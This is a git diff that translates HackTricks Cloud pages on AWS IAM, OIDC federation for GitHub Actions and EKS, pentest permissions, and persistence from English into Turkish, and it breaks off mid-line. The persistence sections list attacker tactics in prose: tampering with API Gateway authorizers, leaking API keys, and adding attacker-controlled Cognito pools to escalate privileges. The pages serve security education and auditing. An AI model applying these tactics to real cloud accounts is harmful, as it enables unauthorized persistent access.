anahtarın üzerinde açık bir red yoksa ve bir kaynak politikası onlara erişim veriyorsa, o zaman izin verilir. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### IAM Sınırları -### IAM Boundaries +IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bu izinleri kullanmaya çalıştığında işlem **başarısız** olur. -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· kovalarını okuyabileceğini gösteriyorsa, yapabileceği maksimum budur. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +**Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### Oturum Politikaları -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir). +Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) (gelişmiş kimlik doğrulaması kullanarak) AWS, oturumun erişebileceği hizmetleri sınırlayan **bir oturum politikası ile oturum kimlik bilgileri** oluşturacaktır [**aşağıdaki listeye**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikasının olmasıdır**. -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### Kimlik Federasyonu -### Identity Federation +Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\ +Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz (**SAML** aracılığıyla) veya **OpenID** hizmetleridir (örneğin **Google**). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir. -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (güvenen) Kimlik Sağlayıcısına atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir. -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +Ancak, genellikle üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcısına güvenebilir** ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
-### IAM Identity Center +### IAM Kimlik Merkezi -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS kullanıcılarının yönetimi ve AWS** hesaplarına ve bulut uygulamalarına erişimlerini bir araya getiren **merkezi bir yer** sağlar. -The login domain is going to be something like `.awsapps.com`. +Giriş alanı, `.awsapps.com` gibi bir şey olacak. -To login users, there are 3 identity sources that can be used: +Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardır: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- Kimlik Merkezi Dizini: Normal AWS kullanıcıları +- Active Directory: Farklı bağlantıları destekler +- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcısından (IdP) gelir
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir organizasyon hesabına** **politika atayabilecektir**. -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcısına güvenen bir rol, hedef hesapta oluşturulacaktır**. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +**IAM Kimlik Merkezi aracılığıyla oluşturulan rollere satır içi politikalar aracılığıyla izinler vermek** mümkündür. **AWS Kimlik Merkezi'nde satır içi politikalar** verilen hesaplarda oluşturulan roller, **`AwsSSOInlinePolicy`** adlı bir satır içi politikada bu izinlere sahip olacaktır. -Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**. +Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 rol görseniz bile, bu **aynı izinlere sahip olduğu anlamına gelmez**. -### Cross Account Trusts and Roles +### Hesaplar Arası Güvenler ve Roller -**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\ -It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust. +**Bir kullanıcı** (güvenen), bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\ +**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, federasyon kullanıcıları gibi diğer kimlik doğrulaması yapılmış kullanıcılar da bu güveni kötüye kullanabilir. -### AWS Simple AD +### AWS Basit AD -Not supported: +Desteklenmiyor: -- Trust Relations -- AD Admin Center -- Full PS API support -- AD Recycle Bin -- Group Managed Service Accounts -- Schema Extensions -- No Direct access to OS or Instances +- Güven İlişkileri +- AD Yönetim Merkezi +- Tam PS API desteği +- AD Geri Dönüşüm Kutusu +- Grup Yönetilen Hizmet Hesapları +- Şema Uzantıları +- OS veya Örnekler için Doğrudan erişim yok -#### Web Federation or OpenID Authentication +#### Web Federasyonu veya OpenID Kimlik Doğrulaması -The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS. +Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar. -### Other IAM options +### Diğer IAM seçenekleri -- You can **set a password policy setting** options like minimum length and password requirements. -- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**. +- **Minimum uzunluk ve şifre gereksinimleri** gibi bir şifre politikası ayarı yapabilirsiniz. +- Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifre etkin mi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir. -AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**. +AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinleri** sağlamak için izinleri yönetirsiniz. -### IAM ID Prefixes +### IAM ID Ön Ekleri -In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature: +[**bu sayfada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) anahtarların doğasına bağlı olarak **IAM ID ön eklerini** bulabilirsiniz: -| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| ABIA | [AWS STS hizmet taşıyıcı belirteci](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Context-specific credential | -| AGPA | User group | -| AIDA | IAM user | -| AIPA | Amazon EC2 instance profile | -| AKIA | Access key | -| ANPA | Managed policy | -| ANVA | Version in a managed policy | -| APKA | Public key | -| AROA | Role | -| ASCA | Certificate | -| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. | +| ACCA | Bağlama özel kimlik bilgisi | +| AGPA | Kullanıcı grubu | +| AIDA | IAM kullanıcısı | +| AIPA | Amazon EC2 örnek profili | +| AKIA | Erişim anahtarı | +| ANPA | Yönetilen politika | +| ANVA | Yönetilen politikadaki sürüm | +| APKA | Genel anahtar | +| AROA | Rol | +| ASCA | Sertifika | +| ASIA | [Geçici (AWS STS) erişim anahtar kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile bir arada benzersizdir. | -### Recommended permissions to audit accounts +### Hesapları denetlemek için önerilen izinler -The following privileges grant various read access of metadata: +Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir: - `arn:aws:iam::aws:policy/SecurityAudit` - `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess` @@ -336,14 +322,13 @@ The following privileges grant various read access of metadata: - `directconnect:DescribeConnections` - `dynamodb:ListTables` -## Misc +## Çeşitli -### CLI Authentication - -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ -Example of credentials file with more than 1 profile: +### CLI Kimlik Doğrulaması +Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\ +O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak, o dosyada **`[default]`** olarak adlandırılan profil kullanılacaktır.\ +Birden fazla profil içeren kimlik bilgisi dosyası örneği: ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +339,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur. -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (kullanıcı için `assume-role` şeffaf bir şekilde gerçekleştirilecektir).\ +Bir yapılandırma dosyası örneği: ``` [profile acc2] region=eu-west-2 @@ -368,23 +351,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz: ``` aws --profile acc2 ... ``` +Eğer **tarayıcı** için buna **benzer** bir şey arıyorsanız, **uzantı** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) kontrol edebilirsiniz. -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## Referanslar - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..43f1b752f 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -4,84 +4,81 @@ ## SAML -For info about SAML please check: +SAML hakkında bilgi için lütfen kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**uç noktalar**, **sertifika** ile birlikte genel anahtar) ## OIDC - Github Actions Abuse -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Bir github eylemini Kimlik sağlayıcı olarak eklemek için: +1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin. +2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin. +3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın. +4. _Hedef kitle_ için `sts.amazonaws.com` girin. +5. Github eyleminin ihtiyaç duyduğu **izinler** ile birlikte bir **yeni rol** oluşturun ve sağlayıcıyı güvenen bir **güven politikası** oluşturun: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Önceki politikada yalnızca belirli bir **tetikleyici** ile bir **kuruluşun** **depo**'sundan bir **dal**'ın yetkilendirildiğine dikkat edin. +7. Github eyleminin **taklit** edebileceği **rol**'ün **ARN**'si, github eyleminin bilmesi gereken "gizli" bilgi olacak, bu yüzden bunu bir **gizli** olarak bir **ortam** içinde **saklayın**. +8. Son olarak, iş akışı tarafından kullanılacak AWS kimlik bilgilerini yapılandırmak için bir github eylemi kullanın: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - EKS Suistimali ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +**EKS** kümesinde **OIDC sağlayıcıları** oluşturmak, kümenin **OIDC URL**'sini **yeni bir Open ID Kimlik sağlayıcısı** olarak ayarlamakla mümkündür. Bu yaygın bir varsayılan politikadır: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Bu politika, **id** `20C159CDF6F2349B68846BEC03BE031B` olan **EKS kümesinin** yalnızca rolü üstlenebileceğini doğru bir şekilde belirtiyor. Ancak, hangi hizmet hesabının bunu üstlenebileceğini belirtmiyor, bu da **HERHANGİ bir hizmet hesabının web kimlik belirteci** ile rolü **üstlenebileceği** anlamına geliyor. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +**Hangi hizmet hesabının rolü üstlenebileceğini belirtmek için,** **hizmet hesabı adı belirtilen** bir **koşul** tanımlamak gereklidir, örneğin: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## Referanslar - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..b60bb1b7f 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +Denetlemek istediğiniz her AWS hesabında çalıştırmak için ihtiyaç duyduğunuz izinler şunlardır: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- Varsayılan politika **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) çalıştırmak için ayrıca şu izinlere ihtiyacınız var: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- (Müşteri sizin için analizörleri oluşturuyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır) +- **access-analyzer:DeleteAnalyzer** +- (Müşteri sizin için analizörleri kaldırıyorsa isteğe bağlıdır, ancak genellikle bu izni istemek daha kolaydır) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..6916d1118 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Süreklilik diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..d33e2610e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -1,36 +1,32 @@ -# AWS - API Gateway Persistence +# AWS - API Gateway Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information go to: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### Kaynak Politikası -Modify the resource policy of the API gateway(s) to grant yourself access to them +API gateway'lerin kaynak politikasını değiştirerek kendinize erişim verin. -### Modify Lambda Authorizers +### Lambda Yetkilendiricilerini Değiştirin -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Lambda yetkilendiricilerinin kodunu değiştirerek tüm uç noktalara erişim verin.\ +Ya da sadece yetkilendiricinin kullanımını kaldırın. -### IAM Permissions +### IAM İzinleri -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Bir kaynak IAM yetkilendiricisi kullanıyorsa, IAM izinlerini değiştirerek kendinize erişim verebilirsiniz.\ +Ya da sadece yetkilendiricinin kullanımını kaldırın. -### API Keys +### API Anahtarları -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +API anahtarları kullanılıyorsa, sürekliliği sağlamak için bunları sızdırabilir veya hatta yenilerini oluşturabilirsiniz.\ +Ya da sadece API anahtarlarının kullanımını kaldırın. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..c89608350 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -1,27 +1,27 @@ -# AWS - Cognito Persistence +# AWS - Cognito Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## Cognito -For more information, access: +Daha fazla bilgi için erişim sağlayın: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### Kullanıcı sürekliliği -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito, kimlik doğrulaması yapılmamış ve kimlik doğrulaması yapılmış kullanıcılara roller vermeyi ve bir kullanıcı dizinini kontrol etmeyi sağlayan bir hizmettir. Bazı sürekliliği sağlamak için değiştirilebilecek birkaç farklı yapılandırma vardır, örneğin: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Kullanıcı tarafından kontrol edilen bir Kullanıcı Havuzunu** bir Kimlik Havuzuna eklemek +- **Kimlik doğrulaması yapılmamış bir Kimlik Havuzuna IAM rolü vermek ve Temel kimlik doğrulama akışına izin vermek** +- Veya **kimlik doğrulaması yapılmış bir Kimlik Havuzuna** eğer saldırgan giriş yapabiliyorsa +- Veya verilen rollerin **izinlerini artırmak** +- **Öznitelikler kontrol edilen kullanıcılar veya yeni kullanıcılar aracılığıyla** bir **Kullanıcı Havuzunda** oluşturmak, doğrulamak ve yetki yükseltmek +- **Dış Kimlik Sağlayıcılarının** bir Kullanıcı Havuzuna veya bir Kimlik Havuzuna giriş yapmasına izin vermek -Check how to do these actions in +Bu eylemleri 